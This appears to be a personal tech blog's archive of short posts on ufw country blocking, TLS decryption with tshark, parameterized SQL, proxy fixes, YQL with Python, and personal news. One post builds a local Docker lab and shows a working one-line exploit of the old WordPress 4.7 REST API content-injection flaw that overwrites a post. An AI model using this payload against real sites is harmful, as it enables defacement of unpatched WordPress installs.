Ubuntu – How to Block Visitors by Country with ‘ufw’

Objective:

You want to allow/deny incoming SSH connections to your server, based on originating country. Blocking needs to be done at the host OS.

Solution:

You can configure ‘ufw’ to deny connections based on source IP subnets. You can get IP subnets for a specific country from IP2location.com.

Procedures:

  1. Go to https://www.ip2location.com/free/visitor-blocker.
  2. Near the end of the page, under “Download List”, choose “Country”, and “Output Format” as “CIDR”, and save the file.
  3. Copy the file to your Linux host. Let’s say to your home directory. And the file name is cidr-singapore.txt.
  4. Run the following bash command from your host’s home directory, to add the rules (modify the port number as needed):
cat cidr-singapore.txt | grep -v ^# | while read subnet; do sudo ufw allow proto tcp from $subnet to any port 22; done
  1. Check the status of your ufw rules again.
sudo ufw status

Creating a Quick PoC for an Exploit with Docker

We will create a quick PoC for an exploit for a wordpress vulnerability. This is just to demonstrate the use of docker for PoC needs. I’ll be emphasizing more on the process than the vulnerability itself. For this demo, we will be exploiting an old content injection vulnerability. You can read about its technical details here, https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html.

In short, the exploit only requires to send a rest API call to the wordpress application.

To stage the demo, we will:

  • Setup a container that runs vulnerable version of WordPress-4.7. We’ll create a wordpress/mysql stack with docker compose.
  • Make an HTTP POST request with a new content that overwrites the original post. I will use HTTPie tool. You may choose any tool you’re familiar with, eg: curl, Postman, Insomnia.

Pre-requisite:

  • You must have Docker already installed. Running the command “docker version” from CLI should return server version.
  • You have an HTTP client that can make json HTTP post. I already have HTTPie on my Mac. I installed with “brew install httpie”

Create a directory.

Save the following file as ‘docker-compose.yml’:

version: '2'
services:
  wordpress:
    image: wordpress:4.7.0
    ports:
      - 8080:80
    environment:
      WORDPRESS_DB_PASSWORD: example
  
  mysql:
    image: mariadb
    environment:
      MYSQL_ROOT_PASSWORD: example

Within the same directory run the following command:

$ docker-compose up --force-recreate; docker-compose down -v

You should see Docker downloading images and spinning up the servers. Once finished you should be able to browse to http://localhost:8080 from your browser. Follow the instructions to finish the installation (by entering site name, username, password, fake email). Then you will see the admin dashboard. Go to Settings > Permalinks and choose the second option to enable pretty links. Open another browser window or new tab and browse to http://localhost:8080 again. You should see your blog and a Hello World post.

To start exploit, run the following command from the shell/terminal to overwrite the post content.

$ http -f POST localhost:8080/wp-json/wp/v2/posts/1/\?id=123abc \
   content:=\"This website has been hacked\"

Now browse the site again and observe the “Hello World” blog post content has changed.

To end the PoC, press Ctrl+C on the docker-compose terminal.

Using tshark to Decrypt SSL/TLS Packets

I’m going to walk you through the process of decoding SSL/TLS traffic from a pcap file with the server’s private key using tshark (command-line version of Wireshark). You can, of course, always use ssldump for the same purpose.

I assume you know how SSL/TLS works, and basic understanding of how Wireshark works, and why we use it.

I will start with getting a sample encrypted traffic that includes the handshake part (important for decryption later). For that purpose, we are going to use openssl command to generate a pair of server certificate and key. And then run the HTTPS server with openssl’s s_server command on port 4443 (or any other port you may like) using the generated certificate and key. Then we will issue a GET request to HTTPS server via curl. In the mean time, we will collect the traffic with tshark and will save the data into ssltest.pcap file.

# [1] create RSA cert and key pair
openssl req -new -x509 -out server.crt -nodes -keyout server.pem -subj /CN=localhost

# [2] run the server using the above
openssl s_server -www -cipher AES256-SHA -key server.pem -cert server.crt -accept 4443

# [3] from another console session, start capturing the traffic, on loopback interface
# (you will need to change lo0 to the relevant interface on your system.
tshark -s0 -w ssltest.pcap -i lo0

# [4] generate traffic from another console
curl -vk https://localhost:4443

# [5] Ctrl+C on the tshark command at [3], and stop the openssl server at [2]

At this point, we should have the file called ssltest.pcap from tshark, and server.crt/server.pem from openssl commands.

Next, we are going to read the pcap file and decode the traffic.

# [1] it shows the encrypted traffic
tshark -r ssltest.pcap

# [2] for details of the packets
tshark -r ssltest.pcap -V

# [3] for decrypted data; ssl.keys_list points to the RSA key
# added -x for hex dump
# At the output you should see the message in packet detail:
#  >>> Decrypted SSL record (16 bytes):
# And the decrypted data:
# >>> Hypertext Transfer Protocol
# >>>    GET / HTTP/1.1\r\n
tshark -r ssltest.pcap -V -x -o "ssl.debug_file:ssldebug.log" -o "ssl.desegment_ssl_records: TRUE" -o "ssl.desegment_ssl_application_data: TRUE" -o "ssl.keys_list:127.0.0.1,4443,http,server.pem"

# [4] inspecting ssldebug.log output from [3]
# You should see the following messeage near the top of the file:
#   >>> ssl_init private key file server.pem successfully loaded.
cat ssldebug.log

In Wireshark GUI, we can follow “SSL stream” that will dump the ASCII output from the stream. How are we going to do it with tshark?

# We add -z to show the statistics with option 'follow,ssl,ascii,1'
# to follow ssl stream number 1
# -q to suppress packet dumps
tshark -r sslsample.pcap -q -o "ssl.keys_list:127.0.0.1,4443,http,server.pem" -z "follow,ssl,ascii,1"

You will see the output similar to below:

===================================================================
Follow: ssl,ascii
Filter: tcp.stream eq 1
Node 0: 127.0.0.1:55041
Node 1: 127.0.0.1:4443
78
GET / HTTP/1.1
Host: localhost:4443
User-Agent: curl/7.43.0
Accept: */*


	1802
HTTP/1.0 200 ok
Content-type: text/html


<_pre>

s_server -www -cipher AES256-SHA -key server.pem -cert server.crt -accept 4443
Ciphers supported in s_server binary
TLSv1/SSLv3:AES256-SHA
---
Ciphers common between both SSL end points:
ECDHE-ECDSA-AES256-SHA     ECDHE-ECDSA-AES128-SHA     ECDHE-ECDSA-DES-CBC3-SHA
ECDHE-RSA-AES256-SHA       ECDHE-RSA-AES128-SHA       ECDHE-RSA-DES-CBC3-SHA
ECDH-ECDSA-AES256-SHA      ECDH-ECDSA-AES128-SHA      ECDH-ECDSA-DES-CBC3-SHA
ECDH-RSA-AES256-SHA        ECDH-RSA-AES128-SHA        ECDH-RSA-DES-CBC3-SHA
DHE-RSA-AES256-SHA         DHE-RSA-AES128-SHA         EDH-RSA-DES-CBC3-SHA
AES256-SHA                 AES128-SHA                 DES-CBC3-SHA
ECDHE-ECDSA-RC4-SHA        ECDHE-RSA-RC4-SHA          ECDH-ECDSA-RC4-SHA
ECDH-RSA-RC4-SHA           RC4-SHA                    RC4-MD5
---
New, TLSv1/SSLv3, Cipher is AES256-SHA
SSL-Session:
    Protocol  : TLSv1
    Cipher    : AES256-SHA
    Session-ID: B9AE3B24559606A2723F987F21E9C202EDB19366098286083F3BDCDABE45B300
    Session-ID-ctx: 01000000
    Master-Key: 98DC04D8CD7AE943A08BE013CD4C7D0608950BC201B953BC12755EC9B4804D453148173B00043EF6A01CAC43F7B0005C
    Key-Arg   : None
    Start Time: 1453795701
    Timeout   : 300 (sec)
    Verify return code: 0 (ok)
---
   2 items in the session cache
   0 client connects (SSL_connect())
   0 client renegotiates (SSL_connect())
   0 client connects that finished
   2 server accepts (SSL_accept())
   0 server renegotiates (SSL_accept())
   2 server accepts that finished
   0 session cache hits
   0 session cache misses
   0 session cache timeouts
   0 callback cache hits
   0 cache full overflows (128 allowed)
---
no client certificate available


===================================================================

Making SQL Queries

This article is to summarize how do we make SQL queries using different languages and their methods. Making connection to the database will not be covered here.

In the examples, we will be querying “SELECT * FROM employees where eid =and dept =”

It is not recommended to use SQL statements without placeholders in order to reduce the risk of SQL injection.

Java

In Java, we can use JDBC, Hibernate, or some other database frameworks to interact with databases. Generally, I would prefer to use methods that allow me to insert “values” into an sql query. With JDBC, we can use PreparedStatement method. There is also createStatement method, where you insert user-supplied values into the query directly.

Basically the flow looks like this:

  1. Get a “Connection” object, with DriverManager
  2. From “Connection” object, we create a “Statement” object with sql statement.
  3. From the statement object, we generate “ResultSet”.
int employeeId = 512 // we will query for employee with id 512
int deptId = 206 // from department 206

Connection connection = DriverManager.getConnection(...); // please fill in
PreparedStatement statement = connection.prepareStatement("SELECT * FROM employees WHERE eid = ? AND dept = ?");
statement.setInt(1, employeeId); // use setString if the argument is a String
statement.setInt(2, deptId);
ResultSet rs = statement.executeQuery();
while (rs.next()) { // Iterate the result set
// ...
}

PHP

PHP has more methods to interact with database. It also depends on the module the php interpreter is built with. We can use MySQL extension, PostgreSQL extension, or ADODB or PDO as generic abstraction interfaces.

With mysqli extension

$db = new mysqli('localhost', 'user', 'password', 'world');
$statement = $db->prepare('SELECT * FROM employees WHERE eid = ? AND dept = ?');
$statement->bind_param('dd', $employeeId, $deptId); // types and variables

$employeeId = 512;
$deptId = 206;

$statement->execute();

NOTE: Why mysqli instead of mysql command? If we are using MySQL v4.1.3 and above, PHP manual recommends to use mysqli which is an improved version. Reference.

With PostgreSQL extension

$db = pg_connect("dbname=world");

$employeeId = 512;
$deptId = 206;

$result = pg_query_params($db, 'SELECT * FROM employees WHERE eid = ? AND dept = ?', array($employeeId, $deptId));

With ADODB

$db = NewADOConnection('mysql');
$db->Connect('localhost', 'user', 'password', 'world');
// Can also use $db = NewADOConnection('mysql://$user:[email protected]$server/$db?persist")
$rs = $db->execute('SELECT * FROM employees WHERE eid = ? AND dept = ?', array($employeeId, $deptId));
while($array = $rs->FetchRow()) {
//...
}

With PDO

$db = new PDO('mysql:host=$host;dbname=$dbname', $user, $pass);
$employeeId = 512;
$deptId = 206;

// We will use unamed placeholders.
$statement = $db->prepare('SELECT * FROM employees WHERE eid = ? AND dept = ?');
$statement->bindParam(1, $employeeId);
$statement->bindParam(2, $deptId);
$statement->execute();
// ...

KDE 4.8, Google Chrome and the Proxy

My KDE was just upgraded to v4.8 from v4.7.x. Privoxy was also configured on the same PC, just to strip some codes. Google Chrome is configured to use the Privoxy proxy on port 8118.

After the upgrade, Google Chrome has failed to connect to internet. At the same time, Firefox was working perfectly with or without using privoxy.

I tried to capture the packets on the local interface and on port 8118, and got nothing coming in. I wasn’t still sure what’s happening, and even tried to re-compile the privoxy, and tweak some of its settings. It was still not working.

Then, I needed to check KDE’s config file where it stores the proxy settings, as Google Chrome uses KDE’s settings. And there, the proxy is stored as “http://127.0.0.1 8118”, with a space between the host and the port. In version 4.7.x, it uses http://: format to store. Google Chrome fails to parse the setting. The config file is located under ~/.kde4/share/config/kioslaverc.

In order to make things work, I needed to manually tweak that line back to v4.7.x format, or exec Google Chrome with –proxy-server setting.

YQL, Python, and Yahoo Finance

YQL is the way to get information from Web Services using SQL-like queries. It also provides us a console where we can test our queries and generate the REST query. To see how it works, just go to the console page, and enter the following as the YQL statement:

select * from yahoo.finance.quotes where symbol='FFIV'

And set the output to either “XML” or “JSON”, and click “Test”. I personally prefer JSON and will continue to use JSON throughout the example. I unchecked the “Diagnostics” and emptied the text field next to “JSON”.

The command will fetch the information related to the stock quote FFIV (F5 Networks, NASDAQ) from Yahoo Finance. Inside “Formatted View” window, you will see the result like this:

{
 'query': {
  'count': '1',
  'created': '2010-07-22T04:59:35Z',
  'lang': 'en-US',
  'results': {
   'quote': {
    'symbol': 'FFIV',
    'Ask': '80.00',
    'AverageDailyVolume': '1699250',
    'Bid': '77.63',
    'AskRealtime': '80.00',
    'BidRealtime': '77.63',
    'BookValue': '11.167',
    'Change_PercentChange': '-3.68 - -4.79%',
    'Change': '-3.68',
    'Commission': null,
    'ChangeRealtime': '-3.68',
    'AfterHoursChangeRealtime': 'N/A - N/A',
    'DividendShare': '0.00',
    'LastTradeDate': '7/21/2010',
    'TradeDate': null,
    'EarningsShare': '1.412',
    'ErrorIndicationreturnedforsymbolchangedinvalid': 'N/A',
    'EPSEstimateCurrentYear': '2.29',
    'EPSEstimateNextYear': '2.71',
    'EPSEstimateNextQuarter': '0.62',
    'DaysLow': '72.48',
    'DaysHigh': '77.74',
    'YearLow': '33.43',
    'YearHigh': '79.21',
    'HoldingsGainPercent': '- - -',
    'AnnualizedGain': '-',
    'HoldingsGain': null,
    'HoldingsGainPercentRealtime': 'N/A - N/A',
    'HoldingsGainRealtime': null,
    'MoreInfo': 'cnsprmiIed',
    'OrderBookRealtime': 'N/A',
    'MarketCapitalization': '5.859B',
    'MarketCapRealtime': null,
    'EBITDA': '188.9M',
    'ChangeFromYearLow': '+39.68',
    'PercentChangeFromYearLow': '+118.70%',
    'LastTradeRealtimeWithTime': 'N/A - 73.11',
    'ChangePercentRealtime': 'N/A - -4.79%',
    'ChangeFromYearHigh': '-6.10',
    'PercebtChangeFromYearHigh': '-7.70%',
    'LastTradeWithTime': 'Jul 21 - 73.11',
    'LastTradePriceOnly': '73.11',
    'HighLimit': null,
    'LowLimit': null,
    'DaysRange': '72.48 - 77.74',
    'DaysRangeRealtime': 'N/A - N/A',
    'FiftydayMovingAverage': '72.3831',
    'TwoHundreddayMovingAverage': '63.8515',
    'ChangeFromTwoHundreddayMovingAverage': '+9.2585',
    'PercentChangeFromTwoHundreddayMovingAverage': '+14.50%',
    'ChangeFromFiftydayMovingAverage': '+0.7269',
    'PercentChangeFromFiftydayMovingAverage': '+1.00%',
    'Name': 'F5 Networks, Inc.',
    'Notes': '-',
    'Open': null,
    'PreviousClose': '76.79',
    'PricePaid': null,
    'ChangeinPercent': '-4.79%',
    'PriceSales': '8.42',
    'PriceBook': '6.88',
    'ExDividendDate': 'N/A',
    'PERatio': '54.38',
    'DividendPayDate': 'N/A',
    'PERatioRealtime': null,
    'PEGRatio': '1.65',
    'PriceEPSEstimateCurrentYear': '33.53',
    'PriceEPSEstimateNextYear': '28.34',
    'Symbol': 'FFIV',
    'SharesOwned': null,
    'ShortRatio': '3.60',
    'LastTradeTime': '4:00pm',
    'TickerTrend': ' -===== ',
    'OneyrTargetPrice': '75.11',
    'Volume': '3213004',
    'HoldingsValue': null,
    'HoldingsValueRealtime': null,
    'YearRange': '33.43 - 79.21',
    'DaysValueChange': '- - -4.79%',
    'DaysValueChangeRealtime': 'N/A - N/A',
    'StockExchange': 'NasdaqNM',
    'DividendYield': null,
    'PercentChange': '-4.79%'
   }
  }
 }
}

Below that text field, we can find the REST statement which we can use to send query to the server. It looks like this for our query:

http://query.yahooapis.com/v1/public/yql?q=select%20*%20from%20yahoo.finance.quotes%20where%20symbol%3D'FFIV'%0A%09%09&format=json&env=http%3A%2F%2Fdatatables.org%2Falltables.env&callback=

This is how we can fetch stock information using YQL and receive information in JSON. Since this is a public data, we can directly send the REST, otherwise we need the API keys to access the data.

Let’s see how we can fetch the information via Python.

>>> import urllib2
>>> result = urllib2.urlopen('http://query.yahooapis.com/v1/public/yql?q=select%20*%20from%20yahoo.finance.quotes%20where%20symbol%3D'FFIV'%0A%09%09&format=json&env=http%3A%2F%2Fdatatables.org%2Falltables.env&callback=').read()
>>>  print result.read()

That should print the whole JSON response. We can use simplejson module to parse the result. It looks like this:

>>> import simplejson
>>> data = simplejson.loads(result.read())
>>> data['query']['results']['quote']['LastTradePriceOnly']
'2.35'

The python statements are pretty much self-explanatory.

Here’s another example from Yahoo, to get stock information from open data tables.

http://www.yqlblog.net/blog/2009/06/02/getting-stock-information-with-yql-and-open-data-tables/

SSL and HTTP Basic Authentication

In general, when I want to force the browser to access certain part of my website via https if the request is made with http, I would put a .htaccess inside that web directory.

RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}

But when I want to protect the directory with HTTP Basic Auth, it creates double authentication. I’ll expand this section after I captures the headers.

As a quick workaround, I use this hack in .htaccess

SSLOptions +StrictRequire
SSLRequireSSL
AuthUserFile /home/minn/.htpasswd
AuthType Basic
AuthName "Private Section"
Require valid-user
ErrorDocument 403 https://www.minnmyatsoe.com/private/

Haiku OS

Haiku is another open source operating system, and IMO we can say it continues from where BeOS left off. I haven’t had a chance to try BeOS, but read about what it was supposed to do and some beautiful screenshots. BeOS was a closed source OS, and some loyal users tried to re-create the OS under OpenSource license.

And there came Haiku OS, an open source OS, and it released its alpha version on 09/2009. It is written in C++. The ISO image, as well as qemu/vmware images are now available to download. I just did a test run via their live CD image, and I would say I’m quite impressed. I wish it’d continue to R2 release soon.


A Walk in the Clouds

I’ve moved this site over to the cloud servers, by Rackspace from my previous shared host. Actually I was looking for a cloud server and cloud space so that I can play with Hadoop. I found Amazon EC servers and S3, but their services charges are expensive for me. While searching for alternatives, CloudServers caught my attention.

It is cheaper than Amazon services, but at the moment I don’t think I can test Hadoop on CloudServer and with CloudSpace. I’m using it more like a virtual private server, that gives me “root” access. The good thing is you can modify the resources as you wish, so I would say it’s quite scalable. You are also charged by hours (uptime). Rackspace will also charge you even if you turn off the machine. They will not charge after we have deleted the server. If you want to test something for a project, you can just subscribe for desired amount of memory and disk space. And delete the server after it’s been used. We will only be charged for those period. That’s the flexibility that I prefer.

I’ll see what I can do with my server, and update the blog again.

Kudos to ICA (Singapore)

Recently I’ve applied for entry visas for four of my relatives, about two or three weeks in advanced, and the visas have been approved by ICA.

Just one a day before the flight, one of my relatives has learnt that her daughter (2 years old) need to obtain visa and air tickets. I opened up the SAVE application website and made the application for the baby. Travel arrangements have already been made, and they were worried that the visa approval might be late, and they would have to rearrange the flights. It usually takes one business day to process. But to my surprise, ICA approved the visa within 3 hours after submission, and it has relieved all the worries of the families.

I really would like to give my heartfelt thank the officers at ICA who are working hard and understanding the need for urgency.

To those who want to submit visa application from the web:

  • Online visa application can be found on the home page of ICA, which is http://www.ica.gov.sg
  • Or do a seach on the google for “save singapore”, and follow the links.
  • Please have your Singpass ready. If you don’t have one, it’s a good idea to make a request at http://www.singpass.gov.sg.
  • The application will require a fee of S$30, which is payable by eNETS (Visa/Master)
  • Please have the applicants information ready. Most data can be found on the passport, plus current address in home country, educational qualification. And a digital photo.